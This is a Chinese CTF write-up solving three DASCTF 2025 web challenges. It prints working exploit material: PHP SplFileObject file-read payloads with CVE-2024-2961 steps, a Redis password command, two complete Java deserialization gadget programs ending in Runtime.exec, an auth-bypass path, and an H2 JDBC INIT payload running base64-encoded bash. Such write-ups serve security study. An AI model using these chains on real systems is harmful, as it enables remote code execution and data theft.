【Web】DASCTF 2025上半年赛 wp

发布于:2025-07-26 ⋅ 阅读:(12) ⋅ 点赞:(0)

目录

phpms

再短一点点 

泽西岛


phpms

dirsearch请求太快会报429,要设置一手--delay,扫出来.git

跑一下githacker

git stash list
git stash show -p

 注释的绕过参考:从国赛想到的一些php绕过注释符trick

发现很多函数都被disable了

 这里用php原生类先读/etc/passwd

/index.php?shell=?><?php $context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

看到有redis,后续存在利用

 接下来用SplFileObject原生类配合CNEXT (CVE-2024-2961)进行命令执行

用这个改进过的脚本:https://github.com/kezibei/php-filter-iconv

先读maps

/index.php?shell=?><?php 
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){
    echo($f);
}

 再读/lib/x86_64-linux-gnu/libc-2.31.so

/index.php?shell=?><?php 
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){
    echo($f);
}

 脚本生成payload

 执行后502,无回显,可将执行结果写入文件再读取

发现flag不在文件中,在redis里

去读/etc/redis.conf,读到密码为admin123

将命令改为

echo "auth admin123\nget flag" | redis-cli > /tmp/res.txt

再短一点点 

先来看黑名单过滤

第一个过滤com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink

第二个过滤javax.management.BadAttributeValueExpException,即直接触发toString的手段

第三个过滤了aop相关类,但org.springframework.aop.target.HotSwappableTargetSource没有被ban

又注意到题目库里有Jackson,可以由toString触发POJONODE来调getter,这里用SignedObject打二次反序列化即可

参考文章:Jackson原生反序列化 - Infernity's Blog

至于toString的触发,可以先试试EventListenerList这条链

https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java

 

链子搓完了,接下来看题目要求(

/deser路由,要求payload长度≤1282,经过InflaterInputStream解码,然后传到MyObjectInputStream里反序列化

反序列化完后执行命令, 删除/a文件,接着再访问/flag路由获取flag

 跑通了poc

package GFCTF;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;
import java.util.Vector;

public class exp {
    public static void main(String[] args) throws Exception {
        overrideJackson();
        byte[] bytes = getshortclass("calc");
        TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
        Object obj = getPOJONodeStableProxy(templates);

        POJONode pojoNode = new POJONode(obj);
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

        //二次反序列化
        SignedObject signedObject = second_serialize(list);

        POJONode pojoNode2 = new POJONode(signedObject);

        EventListenerList list2 = new EventListenerList();
        UndoManager manager2 = new UndoManager();
        Vector vector2 = (Vector) getFieldValue(manager2, "edits");
        vector2.add(pojoNode2);
        setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager2});

        String a = serialize(list2);
        System.out.println(a);
        System.out.println(a.length());
        unserialize(a);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e){
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
        return signedObject;
    }

    //获取进行了动态代理的templatesImpl,保证触发getOutput
    public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        return proxyObj;
    }

    //重写jackson
    public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getTemplates(byte[] bytes) throws Exception {
        Templates templates = new TemplatesImpl();
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "Infernity");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }

    //提供需要序列化的类,返回base64后的字节码
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return poc;
    }

    //提供base64后的字节码,进行反序列化
    public static void unserialize(String exp) throws IOException,ClassNotFoundException{
        byte[] bytes = Base64.getDecoder().decode(exp);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    //一个短的命令执行class,用javassist写的
    public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        byte[] bytes = clazz.toBytecode();
        return bytes;
    }
}

但长度太长,需要削减不必要部分

首先置空TP的不必要字段

删掉jackson链子稳定性部分 

 跑完还是离1282差一点🤔

于是换toString的入口

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

package GFCTF;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import java.util.HashMap;


public class exp {
    public static void main(String[] args) throws Exception {
        overrideJackson();
        byte[] bytes = getshortclass("calc");
        TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

        POJONode pojoNode = new POJONode(templates);
        HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode);
        HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null));

        HashMap<Object, Object> objectObjectHashMap = makeMap(h11, h21);
        //二次反序列化
        SignedObject signedObject = second_serialize(objectObjectHashMap);

        POJONode pojoNode2 = new POJONode(signedObject);

        HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));

        HashMap<Object, Object> objectObjectHashMap2 = makeMap(h12, h22);

        String a = serialize(objectObjectHashMap2);
        System.out.println(a);
        System.out.println(a.length());
        unserialize(a);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e){
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
        return signedObject;
    }

    //重写jackson
    public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getTemplates(byte[] bytes) throws Exception {
        Templates templates = new TemplatesImpl();
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "");
        setValue(templates, "_tfactory", null);
        return templates;
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    //提供需要序列化的类,返回base64后的字节码
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // 使用 Deflater 设置为最高压缩率
        Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);
        DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);
        objectOutputStream.writeObject(obj);

        // 关闭流
        objectOutputStream.flush();
        deflaterOutputStream.finish();
        deflaterOutputStream.close();

        // 转换为 Base64 字符串
        String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return poc;
    }

    //提供base64后的字节码,进行反序列化
    public static void unserialize(String exp) throws IOException,ClassNotFoundException{
        new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject();
    }

    //一个短的命令执行class,用javassist写的
    public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        byte[] bytes = clazz.toBytecode();
        return bytes;
    }
}

更接近了一点🤔 

 短不了一点了,下一题

泽西岛

这题是个不出网H2 RCE

扒一扒h2database远程代码执行 | 离别歌

首先是鉴权的绕过

用/api/testConnect;.绕过

接着打H2 RCE

cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\

再随便访问个不存在的路由,带出flag 


网站公告

今日签到

点亮在社区的每一天
去签到